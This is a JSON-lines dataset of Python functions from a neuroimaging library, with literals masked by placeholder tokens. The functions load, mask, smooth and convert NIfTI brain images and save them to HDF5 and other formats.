{"signature": "def check_compatibility(self, one_img, another_img=None):", "body": "if another_img is None:<EOL><INDENT>if len(self.items) > <NUM_LIT:0>:<EOL><INDENT>another_img = self.items[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(repr_imgs(one_img)))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if self.all_compatible:<EOL><INDENT>check_img_compatibility(one_img, another_img)<EOL><DEDENT>if self.mask is not None:<EOL><INDENT>check_img_compatibility(one_img, self.mask, only_check_3d=True)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Parameters\n----------\none_img: str or img-like object.\n    See NeuroImage constructor docstring.\n\nanoter_img: str or img-like object.\n    See NeuroImage constructor docstring.\n    If None will use the first image of self.images, if there is any.\n\nRaises\n------\nNiftiFilesNotCompatible\n    If one_img and another_img aren't compatible.\n\nValueError\n    If another_img is None and there are no other images in this set.", "id": "f4085:c0:m7"}
{"signature": "def set_labels(self, labels):", "body": "if not isinstance(labels, string_types) and len(labels) != self.n_subjs:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(len(labels), self.n_subjs))<EOL><DEDENT>self.labels = labels<EOL>", "docstring": "Parameters\n----------\nlabels: list of int or str\n    This list will be checked to have the same size as\n\nRaises\n------\nValueError\n    if len(labels) != self.n_subjs", "id": "f4085:c0:m9"}
{"signature": "def _load_images_and_labels(self, images, labels=None):", "body": "if not isinstance(images, (list, tuple)):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(type(images)))<EOL><DEDENT>if not len(images) > <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(len(images)))<EOL><DEDENT>if labels is not None and len(labels) != len(images):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(len(images), len(labels)))<EOL><DEDENT>first_file = images[<NUM_LIT:0>]<EOL>if first_file:<EOL><INDENT>first_img = NeuroImage(first_file)<EOL><DEDENT>else:<EOL><INDENT>raise('<STR_LIT>'.format(repr_imgs(first_file)))<EOL><DEDENT>for idx, image in enumerate(images):<EOL><INDENT>try:<EOL><INDENT>img = NeuroImage(image)<EOL>self.check_compatibility(img, first_img)<EOL><DEDENT>except:<EOL><INDENT>log.exception('<STR_LIT>'.format(repr_imgs(image)))<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>self.items.append(img)<EOL><DEDENT><DEDENT>self.set_labels(labels)<EOL>", "docstring": "Read the images, load them into self.items and set the labels.", "id": "f4085:c0:m10"}
{"signature": "def to_matrix(self, smooth_fwhm=<NUM_LIT:0>, outdtype=None):", "body": "if not self.all_compatible:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not outdtype:<EOL><INDENT>outdtype = self.items[<NUM_LIT:0>].dtype<EOL><DEDENT>n_voxels     = None<EOL>mask_indices = None<EOL>mask_shape   = self.items[<NUM_LIT:0>].shape[:<NUM_LIT:3>]<EOL>if self.has_mask:<EOL><INDENT>mask_arr     = self.mask.get_data()<EOL>mask_indices = np.nonzero(mask_arr)<EOL>mask_shape   = self.mask.shape<EOL>n_voxels     = np.count_nonzero(mask_arr)<EOL><DEDENT>if n_voxels is None:<EOL><INDENT>log.debug('<STR_LIT>'.format(self.mask))<EOL>n_voxels     = np.prod(mask_shape)<EOL>mask_indices = None<EOL><DEDENT>ndims = self.items[<NUM_LIT:0>].ndim<EOL>if ndims == <NUM_LIT:3>:<EOL><INDENT>subj_flat_shape = (n_voxels, )<EOL><DEDENT>elif ndims == <NUM_LIT:4>:<EOL><INDENT>subj_flat_shape = (n_voxels, self.items[<NUM_LIT:0>].shape[<NUM_LIT:3>])<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>'.format(ndims))<EOL><DEDENT>outmat = np.zeros((self.n_subjs, ) + subj_flat_shape, dtype=outdtype)<EOL>try:<EOL><INDENT>for i, image in enumerate(self.items):<EOL><INDENT>if smooth_fwhm > <NUM_LIT:0>:<EOL><INDENT>image.fwhm = smooth_fwhm<EOL><DEDENT>if self.has_mask:<EOL><INDENT>image.set_mask(self.mask)<EOL><DEDENT>outmat[i, :], _, _ = image.mask_and_flatten()<EOL>image.clear_data()<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(image)) from exc<EOL><DEDENT>else:<EOL><INDENT>return outmat, mask_indices, mask_shape<EOL><DEDENT>", "docstring": "Return numpy.ndarray with the masked or flatten image data and\n           the relevant information (mask indices and volume shape).\n\n        Parameters\n        ----------\n        smooth__fwhm: int\n            Integer indicating the size of the FWHM Gaussian smoothing kernel\n            to smooth the subject volumes before creating the data matrix\n\n        outdtype: dtype\n            Type of the elements of the array, if None will obtain the dtype from\n            the first nifti file.\n\n        Returns\n        -------\n        outmat, mask_indices, vol_shape\n\n        outmat: Numpy array with shape N x prod(vol.shape)\n                containing the N files as flat vectors.\n\n        mask_indices: matrix with indices of the voxels in the mask\n\n        vol_shape: Tuple with shape of the volumes, for reshaping.", "id": "f4085:c0:m11"}
{"signature": "def to_file(self, output_file, smooth_fwhm=<NUM_LIT:0>, outdtype=None):", "body": "outmat, mask_indices, mask_shape = self.to_matrix(smooth_fwhm, outdtype)<EOL>exporter = ExportData()<EOL>content = {'<STR_LIT:data>':         outmat,<EOL>'<STR_LIT>':       self.labels,<EOL>'<STR_LIT>': mask_indices,<EOL>'<STR_LIT>':   mask_shape, }<EOL>if self.others:<EOL><INDENT>content.update(self.others)<EOL><DEDENT>log.debug('<STR_LIT>'.format(output_file))<EOL>try:<EOL><INDENT>exporter.save_variables(output_file, content)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(output_file)) from exc<EOL><DEDENT>", "docstring": "Save the Numpy array created from to_matrix function to the output_file.\n\n        Will save into the file: outmat, mask_indices, vol_shape and self.others (put here whatever you want)\n\n            data: Numpy array with shape N x prod(vol.shape)\n                  containing the N files as flat vectors.\n\n            mask_indices: matrix with indices of the voxels in the mask\n\n            vol_shape: Tuple with shape of the volumes, for reshaping.\n\n        Parameters\n        ----------\n        output_file: str\n            Path to the output file. The extension of the file will be taken into account for the file format.\n            Choices of extensions: '.pyshelf' or '.shelf' (Python shelve)\n                                   '.mat' (Matlab archive),\n                                   '.hdf5' or '.h5' (HDF5 file)\n\n        smooth_fwhm: int\n            Integer indicating the size of the FWHM Gaussian smoothing kernel\n            to smooth the subject volumes before creating the data matrix\n\n        outdtype: dtype\n            Type of the elements of the array, if None will obtain the dtype from\n            the first nifti file.", "id": "f4085:c0:m12"}
{"signature": "def _init_subj_data(self, subj_files):", "body": "try:<EOL><INDENT>if isinstance(subj_files, list):<EOL><INDENT>self.from_list(subj_files)<EOL><DEDENT>elif isinstance(subj_files, dict):<EOL><INDENT>self.from_dict(subj_files)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>') from exc<EOL><DEDENT>", "docstring": "Parameters\n----------\nsubj_files: list or dict of str\n    file_path -> int/str", "id": "f4085:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _load_image(file_path):<DEDENT>", "body": "if not os.path.exists(file_path):<EOL><INDENT>raise FileNotFound(file_path)<EOL><DEDENT>try:<EOL><INDENT>nii_img           = load_nipy_img(file_path)<EOL>nii_img.file_path = file_path<EOL>return nii_img<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(file_path)) from exc<EOL><DEDENT>", "docstring": "Parameters\n----------\nfile_path: str\n    Path to the nifti file\n\nReturns\n-------\nnipy.Image with a file_path member", "id": "f4085:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _smooth_img(nii_img, smooth_fwhm):<DEDENT>", "body": "<EOL>from   nipy.algorithms.kernel_smooth import LinearFilter<EOL>if smooth_fwhm <= <NUM_LIT:0>:<EOL><INDENT>return nii_img<EOL><DEDENT>filter = LinearFilter(nii_img.coordmap, nii_img.shape)<EOL>return filter.smooth(nii_img)<EOL>", "docstring": "Parameters\n----------\nnii_img: nipy.Image\n\nsmooth_fwhm: float\n\nReturns\n-------\nsmoothed nipy.Image", "id": "f4085:c1:m4"}
{"signature": "def from_dict(self, subj_files):", "body": "for group_label in subj_files:<EOL><INDENT>try:<EOL><INDENT>group_files = subj_files[group_label]<EOL>self.items.extend([self._load_image(get_abspath(imgf)) for imgf in group_files])<EOL>self.labels.extend([group_label]*len(group_files))<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>'.format(group_label)) from exc<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n----------\nsubj_files: dict of str\n    file_path -> int/str", "id": "f4085:c1:m5"}
{"signature": "def from_list(self, subj_files):", "body": "for sf in subj_files:<EOL><INDENT>try:<EOL><INDENT>nii_img = self._load_image(get_abspath(sf))<EOL>self.items.append(nii_img)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(sf)) from exc<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n----------\nsubj_files: list of str\n    file_paths", "id": "f4085:c1:m6"}
{"signature": "def set_labels(self, subj_labels):", "body": "if len(subj_labels) != self.n_subjs:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.labels = subj_labels<EOL>", "docstring": "Parameters\n----------\nsubj_labels: list of int or str\n    This list will be checked to have the same size as files list\n    (self.items)", "id": "f4085:c1:m10"}
{"signature": "def to_matrix(self, smooth_fwhm=<NUM_LIT:0>, outdtype=None):", "body": "vol = self.items[<NUM_LIT:0>].get_data()<EOL>if not outdtype:<EOL><INDENT>outdtype = vol.dtype<EOL><DEDENT>n_voxels     = None<EOL>mask_indices = None<EOL>mask_shape   = self.items[<NUM_LIT:0>].shape<EOL>if self.has_mask:<EOL><INDENT>mask_arr     = get_img_data(self.mask_file)<EOL>mask_indices = np.where(mask_arr > <NUM_LIT:0>)<EOL>mask_shape   = mask_arr.shape<EOL>n_voxels     = np.count_nonzero(mask_arr)<EOL><DEDENT>if n_voxels is None:<EOL><INDENT>log.debug('<STR_LIT>'.format(self.mask_file))<EOL>n_voxels = np.prod(vol.shape)<EOL><DEDENT>outmat = np.zeros((self.n_subjs, n_voxels), dtype=outdtype)<EOL>try:<EOL><INDENT>for i, nipy_img in enumerate(self.items):<EOL><INDENT>vol = self._smooth_img(nipy_img, smooth_fwhm).get_data()<EOL>if self.has_mask is not None:<EOL><INDENT>outmat[i, :] = vol[mask_indices]<EOL><DEDENT>else:<EOL><INDENT>outmat[i, :] = vol.flatten()<EOL><DEDENT><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(nipy_img.file_path)) from exc<EOL><DEDENT>else:<EOL><INDENT>return outmat, mask_indices, mask_shape<EOL><DEDENT>", "docstring": "Create a Numpy array with the data and return the relevant information (mask indices and volume shape).\n\n        Parameters\n        ----------\n        smooth_fwhm: int\n            Integer indicating the size of the FWHM Gaussian smoothing kernel\n            to smooth the subject volumes before creating the data matrix\n\n        outdtype: dtype\n            Type of the elements of the array, if None will obtain the dtype from\n            the first nifti file.\n\n        Returns\n        -------\n        outmat, mask_indices, vol_shape\n\n        outmat: Numpy array with shape N x prod(vol.shape)\n                containing the N files as flat vectors.\n\n        mask_indices: matrix with indices of the voxels in the mask\n\n        vol_shape: Tuple with shape of the volumes, for reshaping.", "id": "f4085:c1:m11"}
{"signature": "def to_file(self, output_file, smooth_fwhm=<NUM_LIT:0>, outdtype=None):", "body": "outmat, mask_indices, mask_shape = self.to_matrix(smooth_fwhm, outdtype)<EOL>exporter = ExportData()<EOL>content = {'<STR_LIT:data>':         outmat,<EOL>'<STR_LIT>':       self.labels,<EOL>'<STR_LIT>': mask_indices,<EOL>'<STR_LIT>':   mask_shape, }<EOL>if self.others:<EOL><INDENT>content.update(self.others)<EOL><DEDENT>log.debug('<STR_LIT>'.format(output_file))<EOL>try:<EOL><INDENT>exporter.save_variables(output_file, content)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(output_file)) from exc<EOL><DEDENT>", "docstring": "Save the Numpy array created from to_matrix function to the output_file.\n\n        Will save into the file: outmat, mask_indices, vol_shape\n\n            data: Numpy array with shape N x prod(vol.shape)\n                  containing the N files as flat vectors.\n\n            mask_indices: matrix with indices of the voxels in the mask\n\n            vol_shape: Tuple with shape of the volumes, for reshaping.\n\n        Parameters\n        ----------\n        output_file: str\n            Path to the output file. The extension of the file will be taken into account for the file format.\n            Choices of extensions: '.pyshelf' or '.shelf' (Python shelve)\n                                   '.mat' (Matlab archive),\n                                   '.hdf5' or '.h5' (HDF5 file)\n\n        smooth_fwhm: int\n            Integer indicating the size of the FWHM Gaussian smoothing kernel\n            to smooth the subject volumes before creating the data matrix\n\n        # TODO\n        #smooth_mask: bool\n        #    If True, will smooth the mask with the same kernel.\n\n        outdtype: dtype\n            Type of the elements of the array, if None will obtain the dtype from\n            the first nifti file.", "id": "f4085:c1:m12"}
{"signature": "def voxspace_to_mmspace(img):", "body": "shape, affine = img.shape[:<NUM_LIT:3>], img.affine<EOL>coords = np.array(np.meshgrid(*(range(i) for i in shape), indexing='<STR_LIT>'))<EOL>coords = np.rollaxis(coords, <NUM_LIT:0>, len(shape) + <NUM_LIT:1>)<EOL>mm_coords = nib.affines.apply_affine(affine, coords)<EOL>return mm_coords<EOL>", "docstring": "Return a grid with coordinates in 3D physical space for `img`.", "id": "f4086:m0"}
{"signature": "def voxcoord_to_mm(cm, i, j, k):", "body": "try:<EOL><INDENT>mm = cm([i, j, k])<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>') from exc<EOL><DEDENT>else:<EOL><INDENT>return mm<EOL><DEDENT>", "docstring": "Parameters\n----------\ncm: nipy.core.reference.coordinate_map.CoordinateMap\n\ni, j, k: floats\n    Voxel coordinates\n\nReturns\n-------\nTriplet with real 3D world coordinates", "id": "f4086:m1"}
{"signature": "def mm_to_voxcoord(cm, x, y, z):", "body": "try:<EOL><INDENT>vox = cm.inverse()([x, y, z])<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>') from exc<EOL><DEDENT>else:<EOL><INDENT>return vox<EOL><DEDENT>", "docstring": "Parameters\n----------\ncm: nipy.core.reference.coordinate_map.CoordinateMap\n\nx, y, z: floats\n    Physical coordinates\n\nReturns\n-------\nTriplet with 3D voxel coordinates", "id": "f4086:m2"}
{"signature": "def get_3D_coordmap(img):", "body": "if isinstance(img, nib.Nifti1Image):<EOL><INDENT>img = nifti2nipy(img)<EOL><DEDENT>if img.ndim == <NUM_LIT:4>:<EOL><INDENT>from nipy.core.reference.coordinate_map import drop_io_dim<EOL>cm = drop_io_dim(img.coordmap, <NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>cm = img.coordmap<EOL><DEDENT>return cm<EOL>", "docstring": "Gets a 3D CoordinateMap from img.\n\nParameters\n----------\nimg: nib.Nifti1Image or nipy Image\n\nReturns\n-------\nnipy.core.reference.coordinate_map.CoordinateMap", "id": "f4086:m3"}
{"signature": "def get_coordmap_array(coordmap, shape):", "body": "return ArrayCoordMap(coordmap, shape)<EOL>", "docstring": "See: http://nipy.org/nipy/stable/api/generated/nipy.core.reference.array_coords.html?highlight=grid#nipy.core.reference.array_coords.Grid", "id": "f4086:m4"}
{"signature": "def save_niigz(filepath, vol, header=None, affine=None):", "body": "<EOL>we_have_nipy = False<EOL>try:<EOL><INDENT>import nipy.core.image as     niim<EOL>from   nipy            import save_image<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>we_have_nipy = True<EOL><DEDENT>if isinstance(vol, np.ndarray):<EOL><INDENT>log.debug('<STR_LIT>'.format(filepath))<EOL>ni = nib.Nifti1Image(vol, affine, header)<EOL>nib.save(ni, filepath)<EOL><DEDENT>elif isinstance(vol, nib.Nifti1Image):<EOL><INDENT>log.debug('<STR_LIT>'.format(filepath))<EOL>nib.save(vol, filepath)<EOL><DEDENT>elif we_have_nipy and isinstance(vol, niim.Image):<EOL><INDENT>log.debug('<STR_LIT>'.format(filepath))<EOL>save_image(vol, filepath)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(repr_imgs(vol)))<EOL><DEDENT>", "docstring": "Saves a volume into a Nifti (.nii.gz) file.\n\n    Parameters\n    ----------\n    vol: Numpy 3D or 4D array\n        Volume with the data to be saved.\n\n    file_path: string\n        Output file name path\n\n    affine: (optional) 4x4 Numpy array\n        Array with the affine transform of the file.\n        This is needed if vol is a np.ndarray.\n\n    header: (optional) nibabel.nifti1.Nifti1Header, optional\n        Header for the file, optional but recommended.\n        This is needed if vol is a np.ndarray.\n\n    Note\n    ----\n    affine and header only work for numpy volumes.", "id": "f4087:m0"}
{"signature": "def spatialimg_to_hdfgroup(h5group, spatial_img):", "body": "try:<EOL><INDENT>h5group['<STR_LIT:data>']   = spatial_img.get_data()<EOL>h5group['<STR_LIT>'] = spatial_img.get_affine()<EOL>if hasattr(h5group, '<STR_LIT>'):<EOL><INDENT>h5group['<STR_LIT>'] = spatial_img.get_extra()<EOL><DEDENT>hdr = spatial_img.get_header()<EOL>for k in list(hdr.keys()):<EOL><INDENT>h5group['<STR_LIT:data>'].attrs[k] = hdr[k]<EOL><DEDENT><DEDENT>except ValueError as ve:<EOL><INDENT>raise Exception('<STR_LIT>' + h5group.name) from ve<EOL><DEDENT>", "docstring": "Saves a Nifti1Image into an HDF5 group.\n\n    Parameters\n    ----------\n    h5group: h5py Group\n        Output HDF5 file path\n\n    spatial_img: nibabel SpatialImage\n        Image to be saved\n\n    h5path: str\n        HDF5 group path where the image data will be saved.\n        Datasets will be created inside the given group path:\n        'data', 'extra', 'affine', the header information will\n        be set as attributes of the 'data' dataset.", "id": "f4087:m1"}
{"signature": "def spatialimg_to_hdfpath(file_path, spatial_img, h5path=None, append=True):", "body": "if h5path is None:<EOL><INDENT>h5path = '<STR_LIT>'<EOL><DEDENT>mode = '<STR_LIT:w>'<EOL>if os.path.exists(file_path):<EOL><INDENT>if append:<EOL><INDENT>mode = '<STR_LIT:a>'<EOL><DEDENT><DEDENT>with h5py.File(file_path, mode) as f:<EOL><INDENT>try:<EOL><INDENT>h5img = f.create_group(h5path)<EOL>spatialimg_to_hdfgroup(h5img, spatial_img)<EOL><DEDENT>except ValueError as ve:<EOL><INDENT>raise Exception('<STR_LIT>' + h5path) from ve<EOL><DEDENT><DEDENT>", "docstring": "Saves a Nifti1Image into an HDF5 file.\n\n    Parameters\n    ----------\n    file_path: string\n        Output HDF5 file path\n\n    spatial_img: nibabel SpatialImage\n        Image to be saved\n\n    h5path: string\n        HDF5 group path where the image data will be saved.\n        Datasets will be created inside the given group path:\n        'data', 'extra', 'affine', the header information will\n        be set as attributes of the 'data' dataset.\n        Default: '/img'\n\n    append: bool\n        True if you don't want to erase the content of the file\n        if it already exists, False otherwise.\n\n    Note\n    ----\n    HDF5 open modes\n    >>> 'r' Readonly, file must exist\n    >>> 'r+' Read/write, file must exist\n    >>> 'w' Create file, truncate if exists\n    >>> 'w-' Create file, fail if exists\n    >>> 'a' Read/write if exists, create otherwise (default)", "id": "f4087:m2"}
{"signature": "def hdfpath_to_nifti1image(file_path, h5path):", "body": "with h5py.File(file_path, '<STR_LIT:r>') as f:<EOL><INDENT>return hdfgroup_to_nifti1image(f[h5path])<EOL><DEDENT>", "docstring": "Returns a nibabel Nifti1Image from a HDF5 group datasets\n\n    Parameters\n    ----------\n    file_path: string\n        HDF5 file path\n\n    h5path:\n        HDF5 group path in file_path\n\n    Returns\n    -------\n        nibabel Nifti1Image", "id": "f4087:m3"}
{"signature": "def hdfgroup_to_nifti1image(h5group):", "body": "try:<EOL><INDENT>data   = h5group['<STR_LIT:data>'][:]<EOL>affine = h5group['<STR_LIT>'][:]<EOL>extra = None<EOL>if '<STR_LIT>' in h5group:<EOL><INDENT>extra = h5group['<STR_LIT>'][:]<EOL><DEDENT>header = get_nifti1hdr_from_h5attrs(h5group['<STR_LIT:data>'].attrs)<EOL>img = nib.Nifti1Image(data, affine, header=header, extra=extra)<EOL>return img<EOL><DEDENT>except KeyError as ke:<EOL><INDENT>raise Exception('<STR_LIT>' + h5group.name) from ke<EOL><DEDENT>", "docstring": "Returns a nibabel Nifti1Image from a HDF5 group datasets\n\n    Parameters\n    ----------\n    h5group: h5py.Group\n        HDF5 group\n\n    Returns\n    -------\n    nibabel Nifti1Image", "id": "f4087:m4"}
{"signature": "def get_nifti1hdr_from_h5attrs(h5attrs):", "body": "hdr = nib.Nifti1Header()<EOL>for k in list(h5attrs.keys()):<EOL><INDENT>hdr[str(k)] = np.array(h5attrs[k])<EOL><DEDENT>return hdr<EOL>", "docstring": "Transforms an H5py Attributes set to a dict.\n    Converts unicode string keys into standard strings\n    and each value into a numpy array.\n\n    Parameters\n    ----------\n    h5attrs: H5py Attributes\n\n    Returns\n    --------\n    dict", "id": "f4087:m5"}
{"signature": "def all_childnodes_to_nifti1img(h5group):", "body": "child_nodes = []<EOL>def append_parent_if_dataset(name, obj):<EOL><INDENT>if isinstance(obj, h5py.Dataset):<EOL><INDENT>if name.split('<STR_LIT:/>')[-<NUM_LIT:1>] == '<STR_LIT:data>':<EOL><INDENT>child_nodes.append(obj.parent)<EOL><DEDENT><DEDENT><DEDENT>vols = []<EOL>h5group.visititems(append_parent_if_dataset)<EOL>for c in child_nodes:<EOL><INDENT>vols.append(hdfgroup_to_nifti1image(c))<EOL><DEDENT>return vols<EOL>", "docstring": "Returns in a list all images found under h5group.\n\n    Parameters\n    ----------\n    h5group: h5py.Group\n        HDF group\n\n    Returns\n    -------\n    list of nifti1Image", "id": "f4087:m6"}
{"signature": "def insert_volumes_in_one_dataset(file_path, h5path, file_list, newshape=None,<EOL>concat_axis=<NUM_LIT:0>, dtype=None, append=True):", "body": "def isalambda(v):<EOL><INDENT>return isinstance(v, type(lambda: None)) and v.__name__ == '<STR_LIT>'<EOL><DEDENT>mode = '<STR_LIT:w>'<EOL>if os.path.exists(file_path):<EOL><INDENT>if append:<EOL><INDENT>mode = '<STR_LIT:a>'<EOL><DEDENT><DEDENT>imgs = [nib.load(vol) for vol in file_list]<EOL>shapes = [np.array(img.get_shape()) for img in imgs]<EOL>if newshape is not None:<EOL><INDENT>if isalambda(newshape):<EOL><INDENT>nushapes = np.array([newshape(shape) for shape in shapes])<EOL><DEDENT>else:<EOL><INDENT>nushapes = np.array([shape for shape in shapes])<EOL><DEDENT><DEDENT>for nushape in nushapes:<EOL><INDENT>assert(len(nushape) - <NUM_LIT:1> < concat_axis)<EOL><DEDENT>n_dims = nushapes.shape[<NUM_LIT:1>]<EOL>ds_shape = np.zeros(n_dims, dtype=np.int)<EOL>for a in list(range(n_dims)):<EOL><INDENT>if a == concat_axis:<EOL><INDENT>ds_shape[a] = np.sum(nushapes[:, concat_axis])<EOL><DEDENT>else:<EOL><INDENT>ds_shape[a] = np.max(nushapes[:, a])<EOL><DEDENT><DEDENT>if dtype is None:<EOL><INDENT>dtype = imgs[<NUM_LIT:0>].get_data_dtype()<EOL><DEDENT>with h5py.File(file_path, mode) as f:<EOL><INDENT>try:<EOL><INDENT>ic = <NUM_LIT:0><EOL>h5grp = f.create_group(os.path.dirname(h5path))<EOL>h5ds = h5grp.create_dataset(os.path.basename(h5path),<EOL>ds_shape, dtype)<EOL>for img in imgs:<EOL><INDENT>nushape = nushapes[ic, :]<EOL>def append_to_dataset(h5ds, idx, data, concat_axis):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>shape = data.shape<EOL>ndims = len(shape)<EOL>if ndims == <NUM_LIT:1>:<EOL><INDENT>if concat_axis == <NUM_LIT:0>:<EOL><INDENT>h5ds[idx] = data<EOL><DEDENT><DEDENT>elif ndims == <NUM_LIT:2>:<EOL><INDENT>if concat_axis == <NUM_LIT:0>:<EOL><INDENT>h5ds[idx ] = data<EOL><DEDENT>elif concat_axis == <NUM_LIT:1>:<EOL><INDENT>h5ds[idx ] = data<EOL><DEDENT><DEDENT>elif ndims == <NUM_LIT:3>:<EOL><INDENT>if concat_axis == <NUM_LIT:0>:<EOL><INDENT>h5ds[idx ] = data<EOL><DEDENT>elif concat_axis == <NUM_LIT:1>:<EOL><INDENT>h5ds[idx ] = data<EOL><DEDENT>elif concat_axis == <NUM_LIT:2>:<EOL><INDENT>h5ds[idx ] = data<EOL><DEDENT><DEDENT><DEDENT>append_to_dataset(h5ds, ic,<EOL>np.reshape(img.get_data(), tuple(nushape)),<EOL>concat_axis)<EOL>ic += <NUM_LIT:1><EOL><DEDENT><DEDENT>except ValueError as ve:<EOL><INDENT>raise Exception('<STR_LIT>'.format(h5path, file_path)) from ve<EOL><DEDENT><DEDENT>", "docstring": "Inserts all given nifti files from file_list into one dataset in fname.\n    This will not check if the dimensionality of all files match.\n\n    Parameters\n    ----------\n    file_path: string\n        HDF5 file path\n\n    h5path: string\n\n    file_list: list of strings\n\n    newshape: tuple or lambda function\n        If None, it will not reshape the images.\n        If a lambda function, this lambda will receive only the shape array.\n        e.g., newshape = lambda x: (np.prod(x[0:3]), x[3])\n        If a tuple, it will try to reshape all the images with the same shape.\n        It must work for all the images in file_list.\n\n    concat_axis: int\n        Axis of concatenation after reshaping\n\n    dtype: data type\n    Dataset data type\n    If not set, will use the type of the first file.\n\n    append: bool\n\n    Raises\n    ------\n    ValueError if concat_axis is bigger than data dimensionality.\n\n    Note\n    ----\n    For now, this only works if the dataset ends up being a 2D matrix.\n    I haven't tested for multi-dimensionality concatenations.", "id": "f4087:m7"}
{"signature": "def drain_rois(img):", "body": "img_data = get_img_data(img)<EOL>out = np.zeros(img_data.shape, dtype=img_data.dtype)<EOL>krn_dim = [<NUM_LIT:3>] * img_data.ndim<EOL>kernel  = np.ones(krn_dim, dtype=int)<EOL>vals = np.unique(img_data)<EOL>vals = vals[vals != <NUM_LIT:0>]<EOL>for i in vals:<EOL><INDENT>roi  = img_data == i<EOL>hits = scn.binary_hit_or_miss(roi, kernel)<EOL>roi[hits] = <NUM_LIT:0><EOL>out[roi > <NUM_LIT:0>] = i<EOL><DEDENT>return out<EOL>", "docstring": "Find all the ROIs in img and returns a similar volume with the ROIs\n    emptied, keeping only their border voxels.\n\n    This is useful for DTI tractography.\n\n    Parameters\n    ----------\n    img: img-like object or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    Returns\n    -------\n    np.ndarray\n        an array of same shape as img_data", "id": "f4088:m0"}
{"signature": "def pick_rois(rois_img, roi_values, bg_val=<NUM_LIT:0>):", "body": "img = read_img(rois_img)<EOL>img_data = img.get_data()<EOL>if bg_val == <NUM_LIT:0>:<EOL><INDENT>out = np.zeros(img_data.shape, dtype=img_data.dtype)<EOL><DEDENT>else:<EOL><INDENT>out = np.ones(img_data.shape, dtype=img_data.dtype) * bg_val<EOL><DEDENT>for r in roi_values:<EOL><INDENT>out[img_data == r] = r<EOL><DEDENT>return nib.Nifti2Image(out, affine=img.affine, header=img.header)<EOL>", "docstring": "Return the `rois_img` only with the ROI values from `roi_values`.\n    Parameters\n    ----------\n    rois_img: niimg-like\n\n    roi_values: list of int or float\n        The list of values from rois_img.\n\n    bg_val: int or float\n        The background value of `rois_img`.\n\n    Returns\n    -------\n    subset_rois_img: nibabel.Nifti2Image", "id": "f4088:m1"}
{"signature": "def largest_connected_component(volume):", "body": "<EOL>volume = np.asarray(volume)<EOL>labels, num_labels = scn.label(volume)<EOL>if not num_labels:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if num_labels == <NUM_LIT:1>:<EOL><INDENT>return volume.astype(np.bool)<EOL><DEDENT>label_count = np.bincount(labels.ravel().astype(np.int))<EOL>label_count[<NUM_LIT:0>] = <NUM_LIT:0><EOL>return labels == label_count.argmax()<EOL>", "docstring": "Return the largest connected component of a 3D array.\n\n    Parameters\n    -----------\n    volume: numpy.array\n        3D boolean array.\n\n    Returns\n    --------\n    volume: numpy.array\n        3D boolean array with only one connected component.", "id": "f4088:m2"}
{"signature": "def large_clusters_mask(volume, min_cluster_size):", "body": "labels, num_labels = scn.label(volume)<EOL>labels_to_keep = set([i for i in range(num_labels)<EOL>if np.sum(labels == i) >= min_cluster_size])<EOL>clusters_mask = np.zeros_like(volume, dtype=int)<EOL>for l in range(num_labels):<EOL><INDENT>if l in labels_to_keep:<EOL><INDENT>clusters_mask[labels == l] = <NUM_LIT:1><EOL><DEDENT><DEDENT>return clusters_mask<EOL>", "docstring": "Return as mask for `volume` that includes only areas where\n    the connected components have a size bigger than `min_cluster_size`\n    in number of voxels.\n\n    Parameters\n    -----------\n    volume: numpy.array\n        3D boolean array.\n\n    min_cluster_size: int\n        Minimum size in voxels that the connected component must have.\n\n    Returns\n    --------\n    volume: numpy.array\n        3D int array with a mask excluding small connected components.", "id": "f4088:m3"}
